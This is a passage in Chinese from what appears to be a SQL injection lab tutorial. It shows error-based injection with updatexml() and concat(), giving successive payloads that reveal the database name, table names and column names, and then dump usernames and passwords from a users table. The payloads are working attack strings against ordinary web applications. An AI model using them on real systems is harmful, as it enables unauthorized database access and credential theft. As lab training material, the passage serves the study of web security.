注入语句:?id=1' and updatexml(1,concat(0x7e,(select database())),1) --+。其中,concat函数用于连接两个字符串,形成一个字符串,concat('a','b')='ab',这样当爆出多个信息时,可以通过~进行分割。
从报错信息中可以看出,当前数据库为security。
确定数据库中的数据表
注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+
确定users表中的列名
注入语句:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+
通过上述注入可以得知users表中存在三列,分别为id、username、password。
确定users表中的用户名和密码
注入语句:?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+
从上图可以看出,爆出的账号密码长度超出了32,所以需要继续使用substring()函数每隔32位截取一次,最终拼凑出全部内容。
至此,就得到了当前表中所有的用户名和密码。